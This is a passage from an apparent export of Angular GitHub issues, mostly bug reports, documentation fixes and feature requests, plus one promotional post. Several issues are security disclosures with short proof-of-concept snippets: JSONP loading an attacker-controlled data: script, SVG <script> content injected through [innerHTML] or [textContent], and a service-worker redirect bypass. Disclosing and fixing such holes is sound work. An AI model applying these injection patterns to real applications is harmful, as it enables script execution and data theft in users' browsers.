I noticed that when inactive pull requests are automatically locked by the Angular lock bot, the generated message says:

``This issue has been automatically locked due to inactivity``

However, the conversation is actually a Pull Request, not an issue.

This may cause minor confusion for contributors. The message could be updated to distinguish between issues and pull requests.

### Proposed solution

Update the automated message template to reflect the type of conversation:

For issues:

``This issue has been automatically locked due to inactivity.``

For pull requests:

``This pull request has been automatically locked due to inactivity.``

This would make the automated message more accurate and less confusing for contributors.

### Alternatives considered

Currently, there is no alternative except leaving the message as-is, which can confuse contributors who receive the bot message on a pull request.

See the comment done by bot under my merged PR:

<img width=""1151"" height=""971"" alt=""Image"" src=""https://github.com/user-attachments/assets/247ab9d4-7841-4b9c-be81-c415cd51230f"" />

---

This is just a suggestion for the community. I do not have access to the bot code, as it is not open source, so I cannot fix this myself.","area: dev-infra,gemini-triaged",2026-05-21T04:43:51Z,2026-05-21T09:43:40Z,1
angular/angular,4489221098,Unvalidated JSONP Resource URL in Angular `HttpClient`,"### Which @angular/* package(s) are the source of the bug?

common/http

### Is this a regression?

No

### Description


`HttpClient.jsonp()` accepts a caller-provided URL and loads it as a JSONP script resource.

If an application enables JSONP support and passes attacker-controlled input directly into `http.jsonp()`, for example from the current page URL:

```ts
const jsonpUrl = new URL(location.href).searchParams.get('jsonpUrl');
this.http.jsonp(jsonpUrl!, 'callback').subscribe();
```

then a crafted link can cause the browser to execute an attacker-controlled JSONP resource in the Angular application context.

For example, if `jsonpUrl` is a `data:text/javascript,...` resource, the loaded script executes before invoking Angular’s generated JSONP callback.

Angular should reject or restrict unsafe JSONP resource URLs before creating the script element. At minimum, non-HTTP(S) protocols such as `data:`, `blob:`, `javascript:`, `file:`, and `filesystem:` should not be accepted as JSONP script resources.


### Please provide a link to a minimal reproduction of the bug
 
This issue was previously reported to the Google VRP. The original PoV and discussion can be seen here, if accessible: https://issuetracker.google.com/u/1/issues/510947871

### Anything else?

If we consider Angular's model, which is secure by default, I believe it shouldn't allow it unless we explicitly want to perform a bypass.","security,area: common/http",2026-05-20T19:12:18Z,2026-06-05T22:09:39Z,0
angular/angular,4488847780,Building an error-free webpage with Angular conforming to the w3c standard,"### Which @angular/* package(s) are the source of the bug?

elements

### Is this a regression?

No

### Description

Perform the link provided below. Do you hate standards?

### Please provide a link to a minimal reproduction of the bug

https://validator.w3.org/nu/?doc=https%3A%2F%2Fangular.dev%2F

### Please provide the exception or error you saw

```true
323 errors as result
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: docs-infra,gemini-triaged",2026-05-20T18:12:39Z,2026-05-20T18:17:59Z,0
angular/angular,4487874242,"Angular service worker bypasses explicit redirect: 'error', leaks authenticated content into JavaScript, and replays it after logout","### Which @angular/* package(s) are the source of the bug?

service-worker

### Is this a regression?

Yes

### Description

@josephperrott, from Google VRP:

“You would need to convince the Angular team that there is a security impact significant enough, e.g. to warrant a security advisory, for us to consider a reward in OSS VRP.”

As I have stated previously, and as you yourself are aware since both you and I are credited on this critical severity finding, https://github.com/advisories/GHSA-x288-3778-4hhx, VRP triage can be extremely dismissive. I went back and forth with VRP for over a month on that critical severity finding. They told me it had no security impact until it was brought here, and then things finally moved along.

This time around, I submitted a security-relevant fix, https://github.com/angular/angular/pull/67494, which was merged by the Angular team. But I am still seeing the same dismissive approach. I am completely done with Google OSS VRP after this, but I should still be paid for the work I have already done.

The fix I mentioned was accepted by your team and merged into your repo. Google OSS VRP is now adding extra conditions to avoid payout.

I am posting here because I am hoping to get some support from your team. I provided a fix that was merged into the Angular repo. Hopefully that counts for something. And again, I believe that work should be paid for, especially since the fix was security-relevant.


### Please provide a link to a minimal reproduc... [TRUNCATED]","area: service-worker,gemini-triaged",2026-05-20T15:42:43Z,2026-05-20T15:46:50Z,11
angular/angular,4486050957,Child EnvironmentInjector is not destroyed with parent application,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When an `EnvironmentInjector` is created with `createEnvironmentInjector(providers, application.injector)`, calling `application.destroy()` does not destroy that child injector.

This is surprising because services provided by the child injector can use `DestroyRef.onDestroy()` for cleanup, but those callbacks never run unless the child injector is destroyed manually.

This can leave async work such as timers, polling, backend requests, or delayed callbacks alive after the application is destroyed. Later, that async logic may attempt to inject dependencies from the already-destroyed application/root injector and receiving NG0205 error.

```typescript
import {createEnvironmentInjector, provideZonelessChangeDetection} from '@angular/core';
import {createApplication} from '@angular/platform-browser';

it(`should destroy environment injector`, async () => {
    const application = await createApplication({
        providers: [provideZonelessChangeDetection()],
    });

    const injector = createEnvironmentInjector([], application.injector);

    application.destroy();

    expect(injector.destroyed).toBe(true); // actually false
});
```


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Child injector is not destroyed
```

### Please provide the environment you discovered this bu... [TRUNCATED]","area: core,gemini-triaged",2026-05-20T11:42:01Z,2026-05-20T13:07:01Z,7
angular/angular,4484352837,formControl.pacthValue inside a reactive context causes tracking of all signals read by value/validity change subscriber,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

Like #67073 but for `patchValue`, `patchValue` should also behave like `setValue` inside a reactive context.


### Please provide the environment you discovered this bug in (run `ng version`)

```true
     _                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/


Angular CLI       : 21.2.9
Angular           : 21.2.11
Node.js           : 24.13.1
Package Manager   : pnpm 11.1.2
Operating System  : darwin arm64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations               │ 21.2.11           │ ^21.2.11          │
│ @angular/build                    │ 21.2.9            │ ^21.2.9           │
│ @angular/cdk                      │ 21.2.9            │ ^21.2.9           │
│ @angular/cli                      │ 21.2.9            │ ^21.2.9           │
│ @angular/common                   │ 21.2.11           │ ^21.2.11          │
│ @angular/compiler                 │ 21.2.11           │ ^21.2.11          │
│... [TRUNCATED]","area: forms,gemini-triaged",2026-05-20T07:54:19Z,2026-05-20T09:27:10Z,1
angular/angular,4479437403,"DeferBlockBehavior.Manual still registers IntersectionObserver for @defer (on viewport), breaking JSDOM tests","### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When testing a component that contains `@defer (on viewport)` with `TestBed.configureTestingModule({ deferBlockBehavior: DeferBlockBehavior.Manual })`, Angular still attempts to register an `IntersectionObserver` against the placeholder element via an `afterRender` hook. In environments where `IntersectionObserver` is not defined (e.g. Jest + JSDOM, which is the most common Angular unit-test setup), this throws `ReferenceError: IntersectionObserver is not defined`.

The error is swallowed by Angular's `ErrorHandler` so tests still pass, but every component creation logs a full stack trace to stderr, polluting test output (e.g. 2 errors per defer block × number of `beforeEach` runs).

This contradicts what the official testing guide implies. https://angular.dev/guide/templates/defer#testing-defer-blocks documents the manual API (`fixture.getDeferBlocks()` + `block.render(DeferBlockState.Complete)`) without mentioning that callers must polyfill `IntersectionObserver` to use it in JSDOM. The pattern only works cleanly today because users either (a) have a polyfill in their setup, (b) never look at stderr, or (c) write only trivial repros that don't exercise the placeholder path enough to notice.

### Root cause

`ɵɵdeferOnViewport` (and the other `ɵɵdeferOn*` instructions) unconditionally calls `registerDomTrigger`, which schedules `pollDomTrigger` via `afterEveryRen... [TRUNCATED]","area: testing,state: has PR,gemini-triaged",2026-05-19T17:09:50Z,2026-05-27T17:54:02Z,0
angular/angular,4478903486,DevTools crashes on null-prototype objects (e.g. Object.groupBy results),"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

1. Create a minimal Angular 21 app with a component that exposes a public field returning a null-prototype object. The simplest trigger is Object.groupBy, which always returns a null-prototype object by spec:

```typescript
import { Component, computed } from '@angular/core';

   @Component({
     selector: 'app-root',
     template: '<p>hi</p>',
   })
   export class AppComponent {
     readonly groupedEmpty = computed(() => Object.groupBy([], () => ''));
   }
```

2. Run the app in development mode (ng serve).
3. Open Chrome DevTools and switch to the Angular tab.

The field must be public for the DevTools property walker to descend into it. The same crash occurs with Map.groupBy() or any value created via Object.create(null).

### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

Expected: The Angular DevTools panel loads and displays the component tree, allowing the component's properties to be inspected. Null-prototype objects should be formatted as plain objects (e.g. {...} or {}), the same as any other object.

Actual: The DevTools backend throws an uncaught TypeError and the Angular panel fails to load. The entire inspector becomes unusable for the affected app until the offending field is removed or wrapped to attach Object.prototype.

The root cause is in the proper... [TRUNCATED]","area: devtools,gemini-triaged",2026-05-19T15:55:40Z,2026-05-27T17:53:35Z,0
angular/angular,4478451447,animate.leave is ignored on descendant nodes,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

[This example](https://angular.dev/guide/animations#element-removal-order) suggests that animate.leave can be applied to any node, and Angular will ensure that the animation will play before the node is removed.

However, even in the example this is not the case - `.leave-container` disappears without any animation.

This problem can also be reproduced in [playground](https://angular.dev/playground).

### Please provide a link to a minimal reproduction of the bug

https://angular.dev/guide/animations#element-removal-order

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.8
Angular           : 21.2.10
Node.js           : 22.22.0
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations       │ 21.2.10           │ ^21.2.0-next      │
│ @angular/build            │ 21.2.8            │ ^21.2.0-next      │
│ @angular/cdk              │ 21.2.8            │ ^21.2.0-next      │
│ @angular/cli              │ 21.2.8            │ ^21.2.0-next      │
│ @angular/common           │ 21.2.10           │ ^21.2.0-next    ... [TRUNCATED]","area: core,core: animations,gemini-triaged",2026-05-19T14:56:17Z,2026-05-19T20:07:48Z,3
angular/angular,4477819772,CLI reference pages render absolute angular.dev links with the external-link icon,"### Describe the problem that you experienced

Links whose `href` is an absolute `https://angular.dev/...` URL are rendered with the external-link icon next to them on docs pages, even though clicking them stays on angular.dev.

The icon is a visual signal that the link leaves the site, so seeing it on an in-site link is misleading regardless of whether the link was authored as a relative path or an absolute URL.

Most visible example: CLI reference pages such as `cli/e2e`. The `configuration` option description contains an absolute link to `https://angular.dev/reference/configs/workspace-config#alternate-build-configurations`, which is shown with the external-link icon even though it navigates within the docs site.

Expected behavior: the external-link icon should not appear on links whose host is `angular.dev`, so the icon accurately signals when a click leaves the site.

Alternative (or complementary) fix: the affected content sources could rewrite their `https://angular.dev/...` references as proper markdown links with relative paths, e.g. `[the workspace config reference](reference/configs/workspace-config#alternate-build-configurations)`. That removes the bad icon at the source and matches the convention used elsewhere in adev markdown.

<img width=""862"" height=""485"" alt=""Image"" src=""https://github.com/user-attachments/assets/114ee5d6-3706-41bc-b7c5-afed84ce1435"" />","area: docs-infra,gemini-triaged",2026-05-19T13:34:38Z,2026-05-20T17:28:30Z,4
angular/angular,4476204898,[Docs] Providing provideHttpClient not required in v21 tests,"### Describe the problem that you experienced

The HttpClient Tes docs (https://angular.dev/guide/http/testing#setup-for-testing) mentions adding provideHttpClient but it's now provided by default.

It should rather include it in the docs as a specific section if a test needs to provide HttpClient options (such as interceptors).

### Enter the URL of the topic with the problem

https://angular.dev/guide/http/testing#setup-for-testing

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs,gemini-triaged",2026-05-19T09:33:51Z,2026-05-19T20:41:16Z,0
angular/angular,4469838428,InputSignal aliases make type-safe dynamic component input contracts unsound,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

I am trying to build a type-safe API for dynamically rendering components with `NgComponentOutlet` and passing inputs through `ngComponentOutletInputs`.

A simplified version looks like this:

```ts
import { Type, InputSignal } from '@angular/core';

function provideSomeComponent(
  component: Type<{ foo: InputSignal<string> }>,
) {
  return { provide: SOME_COMPONENT_TOKEN, useValue: component };
}
```

This works as long as the component input binding name is the same as the class property name:

```ts
@Component({
  standalone: true,
  template: `{{ foo() }}`,
})
class SomeComponent {
  foo = input.required<string>();
}

provideSomeComponent(SomeComponent);
```

However, the type-level contract becomes unsound when the input has an alias:

```ts
@Component({
  standalone: true,
  template: `{{ foo() }}`,
})
class SomeComponent {
  foo = input.required<string>({ alias: 'bar' });
}

provideSomeComponent(SomeComponent); // TypeScript accepts this
```

The component satisfies the TypeScript contract:

```ts
Type<{ foo: InputSignal<string> }>
```

But at runtime the public input binding name is `bar`, not `foo`.

So when this is later passed to `NgComponentOutlet`:

```html
<ng-container
  *ngComponentOutlet=""
    provided.component;
    inputs: {foo: ...}
  ""
/>
```

Angular tries to bind `foo`, while the actual public input name is `bar`.

This means that TypeScript says the co... [TRUNCATED]","area: core,gemini-triaged",2026-05-18T14:13:03Z,2026-05-18T14:55:54Z,2
angular/angular,4466194826,GIT42 flyby: @angular's civilization (don't panic),"I visited @angular's ecosystem on GIT42.

Never heard of GIT42? It's a free, ad-free Hitchhiker-style tour of GitHub: developers as planets, galaxies to explore, profiles to visit, and passport stamps for fellow travelers. Chart a course at https://www.git42.dev.

https://www.git42.dev/u/angular",,2026-05-18T04:10:45Z,2026-05-18T05:05:00Z,1
angular/angular,4457235904,LOCALE_ID API docs don't show how to source the locale from an app service,"### Describe the problem that you experienced

The `LOCALE_ID` API documentation shows only `{provide: LOCALE_ID, useValue: 'en-US'}` in both the standalone and module examples. `useValue` works for a static string or a value computed before the injector exists (e.g., reading `navigator.language` at module load).

If the locale logic already lives in an Angular service (user preferences, route params, cookies, etc.), `useValue` can't reach it because there's no injection context at that point. The clean path is `useFactory` with `inject()`, and the current docs don't show that's supported. A developer landing on the API page after searching ""Angular locale"" doesn't realize the service case is a one-liner.

A suggested third example:

\`\`\`ts
@Injectable({providedIn: 'root'})
export class LangService {
  getLocale(): string {
    // read from user prefs, cookie, navigator, etc.
    return 'en-US';
  }
}

const appConfig: ApplicationConfig = {
  providers: [
    {
      provide: LOCALE_ID,
      useFactory: () => inject(LangService).getLocale(),
    },
  ],
};
\`\`\`

Happy to send a PR if the team agrees this is a worthwhile addition.

### Enter the URL of the topic with the problem

https://angular.dev/api/core/LOCALE_ID","area: docs,gemini-triaged",2026-05-15T22:04:01Z,2026-05-15T22:04:21Z,1
angular/angular,4457231595,Add useFactory example for dynamic locale to LOCALE_ID API docs,"### Describe the problem that you experienced

The `LOCALE_ID` API documentation shows only `{provide: LOCALE_ID, useValue: 'en-US'}` in both the standalone and module examples. `useValue` works for a static string or a value computed before the injector exists (e.g., reading `navigator.language` at module load).

If the locale logic already lives in an Angular service (user preferences, route params, cookies, etc.), `useValue` can't reach it because there's no injection context at that point. The clean path is `useFactory` with `inject()`, and the current docs don't show that's supported. A developer landing on the API page after searching ""Angular locale"" doesn't realize the service case is a one-liner.

A suggested third example:

```ts
@Injectable({providedIn: 'root'})
export class LangService {
  getLocale(): string {
    // read from user prefs, cookie, navigator, etc.
    return 'en-US';
  }
}

const appConfig: ApplicationConfig = {
  providers: [
    {
      provide: LOCALE_ID,
      useFactory: () => inject(LangService).getLocale(),
    },
  ],
};
```

Happy to send a PR if the team agrees this is a worthwhile addition.","area: docs,gemini-triaged",2026-05-15T22:03:02Z,2026-05-18T09:22:23Z,3
angular/angular,4442903192,Regarding @defer block loading,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

I’m using the @defer block in Angular 21. I have 4 components imported into app.component.ts, and I’m trying to lazy-load one of them using @defer. However, even after refreshing the page, all deferred components are  loaded. In this case, the @defer block is not working as expected. When I import the component into app.component.ts, it is already eagerly loaded, which I can see in the Network tab. Could you please help me fix this issue?

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","needs reproduction,area: core,gemini-triaged",2026-05-14T03:35:51Z,2026-05-18T12:47:01Z,4
angular/angular,4437336683,html select with selectedcontent freezes when bound to a FormField,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

when binding a FormField to a select that has a selectedcontent element, the browser tab freezes

in the example project, uncomment the template code below in app.ts  to reproduce the freeze
`<button><selectedcontent></selectedcontent></button>`

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-mbrurxfu?file=src%2Fapp.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.11
Angular           : 21.2.12
Node.js           : 22.22.0
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.11           │ ^21.2.11          │
│ @angular/cdk              │ 21.2.10           │ ^21.2.10          │
│ @angular/cli              │ 21.2.11           │ ^21.2.11          │
│ @angular/common           │ 21.2.12           │ ^21.2.12          │
│ @angular/compiler         │ 21.2.12           │ ^21.2.12          │
│ @angular/compiler-cli     │ 21.2.12           │ ^21.2.12          │
│ @angular/core             │ 21.2.12           │ ^21.2.12         ... [TRUNCATED]","area: forms,gemini-triaged",2026-05-13T11:10:33Z,2026-05-13T11:12:51Z,2
angular/angular,4425410700,Setup Error : Help Wanted,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

Yes

### Description

Can anyone tell me what is this error? I tried to install node but it is not getting install. anyone can guide me step by step. I am using intellij Idea

<img width=""1892"" height=""371"" alt=""Image"" src=""https://github.com/user-attachments/assets/2858a8ca-f26d-42f0-b7f3-59528e6db391"" />

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
pnpm : The term 'pnpm' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that    
the path is correct and try again.
At line:1 char:1
+ pnpm install
+ ~~~~
    + CategoryInfo          : ObjectNotFound: (pnpm:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: build & ci,gemini-triaged",2026-05-12T01:09:24Z,2026-05-12T02:32:31Z,2
angular/angular,4422841781,"""Built-in directives"" overview could point learners at `class` / `style` bindings and `@if` / `@for` / `@switch` too","### Describe the problem that you experienced

The ""Built-in directives"" overview at `adev/src/content/guide/directives/overview.md` walks readers through `NgClass`, `NgStyle`, `NgIf`, `NgFor`, etc. without really mentioning that `class` / `style` bindings and `@if` / `@for` / `@switch` exist as the modern alternatives.

This page is one of the first stops for someone learning what an Angular directive is. If they don't already know about the modern alternatives, they walk away thinking `NgClass` / `NgStyle` and `*ngIf` / `*ngFor` is just how you do it. The how-to content itself is fine, but a learner never gets plugged into what's preferred for new code.

Wondering if it's worth adding a single `HELPFUL` note near the top:

>HELPFUL: For new code, prefer [built-in control flow](guide/templates/control-flow) (`@if` / `@for` / `@switch`) over `NgIf` / `NgFor` / `NgSwitch`, and [`class` / `style` bindings](style-guide#prefer-class-and-style-over-ngclass-and-ngstyle) over `NgClass` / `NgStyle`. The directives covered below remain supported for existing codebases.

if it makes sense, I can open a PR

https://angular.dev/guide/directives","area: docs,gemini-triaged",2026-05-11T17:19:51Z,2026-05-13T14:29:34Z,2
angular/angular,4421332769,FormValueControl backwards compatability,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Hey there, I really love the new FormValueControl API and want to rewrite my components from Control Value Accessor to it. Unfortunately many consumers of my library are still using Reactive Forms, therefore I was hoping that the new FormValueControl is backwards compatible.

You can find an example here: https://stackblitz.com/edit/stackblitz-starters-wtzycvik?description=An%20angular-cli%20project%20based%20on%20@angular/animations,%20@angular/common,%20@angular/compiler,%20@angular/core,%20@angular/forms,%20@angular/platform-browser,%20@angular/platform-browser-dynamic,%20@angular/router,%20core-js,%20rxjs,%20tslib%20and%20zone.js&file=src%2Fmain.ts&template=node&title=Angular%20Starter

### Proposed solution

FormValueControl works with Reactive Forms

### Alternatives considered

- ","area: forms,forms: signals",2026-05-11T13:44:26Z,2026-05-11T16:39:18Z,3
angular/angular,4421033233,Child component input remains as detached DOM node after parent destroys the component,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When an input element exists inside a child component, and its value is modified, destroying that child component from the parent can leave the input element visible as a detached DOM node in DevTools.

This appears to happen after the input value is changed and then the parent removes the child component from the view.

**Steps to reproduce**

- Render a child component from a parent component.
- Place a native HTML input element inside the child component.
- Change the input value.
- Destroy or remove the child component from the parent component.
- Inspect the page in Chrome DevTools and check detached nodes.
- Expected behavior

When the parent destroys the child component, the child view and its native input element should be fully released and should not remain as detached DOM nodes.

**Actual behavior**

After the input value is modified and the child is destroyed by the parent, the input element still appears under detached nodes in DevTools.

**Additional notes**

- This issue is based on detached-node behavior observed in browser DevTools. If needed, I can provide more details about the conditions under which the child is created and destroyed.

- There is no specific services, custom listeners, or timers. Just output emitter from child component to close/destroy the child from parent component and same way to open the child from parent we have (Open chi... [TRUNCATED]","area: core,gemini-triaged",2026-05-11T13:02:34Z,2026-05-11T13:46:46Z,2
angular/angular,4415854561,Proposal for a Long-Term Support (LTS) Strategy for Enterprise Development,"### Description

Hey,

There is a big problem with the rolling release policy and the short Angular upgrade cycle, which constantly introduces breaking changes. In Enterprise environments, there is usually a clear distinction between LTS versions for long-term robust development and rolling-release versions for those who just want to try or experiment with a framework or technology.

### Proposed solution

For robust enterprise development, we need stable LTS releases without breaking changes, similar to how it is done in Symfony, Ubuntu, and even in... React.

We need an enterprise-grade framework with robust, solid, predictable, and stable releases, along with long-term support and maintenance — at least 2–3 years without breaking changes in every release.

### Alternatives considered

Don’t try to become the “new React.” It’s a waste of time and the wrong direction.","area: dev-infra,gemini-triaged",2026-05-10T14:20:35Z,2026-05-11T08:09:06Z,12
angular/angular,4415388951,"inheritance guide's ""Forwarding injected dependencies"" section could lead with inject()","### Describe the problem that you experienced


The ""Forwarding injected dependencies"" section in `adev/src/content/guide/components/inheritance.md` (around line 66) teaches the constructor-injection forwarding pattern:

```ts
export class ListboxBase {
  constructor(private element: ElementRef) {}
}

export class CustomListbox extends ListboxBase {
  constructor(element: ElementRef) {
    super(element);
  }
}
```

But the style guide says to use `inject()` instead of constructor parameter injection. And once you do, this whole ""forwarding"" thing kind of evaporates, the child just inherits the property:

```ts
export class ListboxBase {
  protected element = inject(ElementRef);
}

export class CustomListbox extends ListboxBase {
  // element is already there. no constructor needed.
}
```

The example earlier in this same file (line 38ish) already uses signal-based `input.required<string>()`, so this section sticks out as the only place still showing the old pattern.

Happy to put up a PR if this sounds reasonable.


### Enter the URL of the topic with the problem

https://angular.dev/guide/components/inheritance#forwarding-injected-dependencies
","open for contributions,area: docs",2026-05-10T10:47:00Z,2026-05-11T19:02:47Z,2
angular/angular,4408281869,SVG <script> and `[innerHTML]`/`[textContent]` text can execute in Angular templates,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description
Angular strips `<script>` elements from component templates during compilation. However, SVG descendants appear to be represented internally with a namespace-prefixed name such as `:svg:script`.
 
This allows an Angular component template to contain:

```html
<svg>
  <script>
    window.__angularSvgScriptPov = 'executed';
    document.body.setAttribute('data-svg-script-pov', 'executed');
  </script>
</svg>
```

The script survives compilation and executes in the browser.

A more concerning variant is that dynamic text assigned through an Angular binding can also become executable script text inside SVG `<script>`:

```html
<svg>
<!--  No bypass is needed to allow this -->
  <script [innerHTML]=""payload""></script> // same with [textContent]
</svg>
```
Also same behavior bypass when 
and `  code = 'javascript:alert(1)';`

```html
<svg width=""120"" height=""24"" aria-label=""svg-script-pov"">
  <script  [textContent]=""code""></script>
  <text x=""0"" y=""16"">PoV</text>
</svg>
```

Angular should strip, reject, or otherwise prevent SVG `<script>` elements from being emitted or populated with executable script content.


should not allow an untrusted plain string to become executable JavaScript.

### Please provide a link to a minimal reproduction of the bug
This issue was previously reported to the Google VRP. The original PoV and discussion can be seen here, if accessible:... [TRUNCATED]","security,area: security",2026-05-08T17:43:03Z,2026-05-19T20:06:03Z,12
angular/angular,4400278457,Angular tests in browser mode support debugging but some documentation says the contrary,"### Describe the problem that you experienced

This section says that debugging is not supported for browser mode: https://angular.dev/guide/testing/migrating-to-vitest#5-configure-browser-mode-optional

But this other one says that it is supported: https://angular.dev/guide/testing/debugging

I tested that debugging works for Playwright.

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs,gemini-triaged",2026-05-07T16:19:19Z,2026-05-08T15:57:11Z,1
angular/angular,4399046010,"Angular service worker bypasses explicit `redirect: 'error'`, leaks authenticated content into JavaScript, and replays it after logout.","### Which @angular/* package(s) are the source of the bug?

service-worker

### Description

Details
Angular service worker asset handling reconstructs outgoing requests through AssetGroup.newRequestWithMetadata() while preserving headers only. In the redirected asset path, this drops explicit redirect policy from the original request. As a result, a caller-supplied fetch(..., {redirect: 'error'}) is turned into a redirect-following request inside the framework service worker.

The root cause is in Angular-owned code:

packages/service-worker/worker/src/assets.ts
AssetGroup.fetchFromNetwork() manually follows redirected responses
AssetGroup.newRequestWithMetadata() rebuilds requests without preserving explicit redirect
This is a framework-owned request-policy bypass, not generic stale-cache behavior, because the browser's original decision is to reject the request and Angular service worker changes that outcome.

Attack scenario
Any actor who can get a victim to open a normal page or deep link that causes the Angular application itself to fetch the public asset URL can exploit this behavior in an Angular application that uses the Angular service worker on the affected scope and has a same-origin redirect from a public asset path to authenticated/private content. The attack does not need injected JavaScript in the victim origin if the app already performs the asset fetch on page load or route change.

What they gain:

access to authenticated same-origin secret content that the... [TRUNCATED]","area: service-worker,gemini-triaged",2026-05-07T13:16:24Z,2026-05-08T07:49:13Z,5
angular/angular,4390851868,Stop exposing `inject` via `@angular/core/primitives/di`,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

This feels like a bug hence why I'll mark it as one.

I'm using Zed and I see `inject` exposed via two different paths. This seems wrong and unnecessary.

<img width=""810"" height=""145"" alt=""Image"" src=""https://github.com/user-attachments/assets/4f20524b-6355-4d76-b132-f0255166a972"" />

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
angular 21.2.9
node 24.13.0
```

### Anything else?

_No response_","area: packaging,gemini-triaged",2026-05-06T11:07:59Z,2026-05-06T15:09:17Z,2
angular/angular,4390101553,"When starting up from Webstorm, Angular DevTools does not initialize (blank panel)","### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

Angular DevTools fails to initialize and shows a blank panel when inspecting an Angular application. The issue occurs because the application crashes during bootstrap due to accessing chrome.storage.local in an extension environment.
Console.log output:
`outlined.css:1  Failed to load resource: net::ERR_FILE_NOT_FOUNDUnderstand this error
main.js:4 ERROR TypeError: Cannot read properties of undefined (reading 'local')
    at get storage (main.js:5961:1845)
    at Fx.getStorageItems (main.js:5961:1361)
    at main.js:5961:172
    at ra (main.js:4:6385)
    at e.runInitializers (main.js:7:39534)
    at main.js:7:69116
    at Yie (main.js:7:69746)
    at main.js:7:69056
    at lp.run (main.js:4:23102)
    at FV (main.js:7:68586)
handleError @ main.js:4Understand this error
main.js:5961 TypeError: Cannot read properties of undefined (reading 'local')
    at get storage (main.js:5961:1845)
    at Fx.getStorageItems (main.js:5961:1361)
    at main.js:5961:172
    at ra (main.js:4:6385)
    at e.runInitializers (main.js:7:39534)
    at main.js:7:69116
    at Yie (main.js:7:69746)
    at main.js:7:69056
    at lp.run (main.js:4:23102)
    at FV (main.js:7:68586)
(anonymous) @ main.js:5961Understand this error
formatter_worker.js:6 Assertion failed: console.assert
#e @ formatter_worker.js:6Understand this error
formatter_worker.... [TRUNCATED]","needs: clarification,area: devtools",2026-05-06T09:06:57Z,2026-05-18T12:45:18Z,12
angular/angular,4384370494,Object.assign on component instance doesn't work with signal-based input() in dynamic component creation,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

When creating dynamic components using ComponentFactoryResolver or ViewContainerRef.createComponent(), the common pattern of using Object.assign() to pass data to component inputs breaks with signal-based input() introduced in Angular 17.

### Current behavior (works with decorator inputs)

```
const factory = this.cfr.resolveComponentFactory(MyComponent);
const componentRef = factory.create(this.injector);

// This works when MyComponent uses @Input decorator
Object.assign(componentRef.instance, { title: 'Hello', userId: 123 });
```

### Problem with signal inputs
```
// MyComponent.ts
export class MyComponent {
  title = input<string>();  // Signal-based input
}

// The same Object.assign DOES NOT work
Object.assign(componentRef.instance, { title: 'Hello' }); 
// title remains an unwritable signal, value is never set
```

There should be a unified way to set both decorator-based and signal-based inputs dynamically.


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular 17+
```

### Anything else?

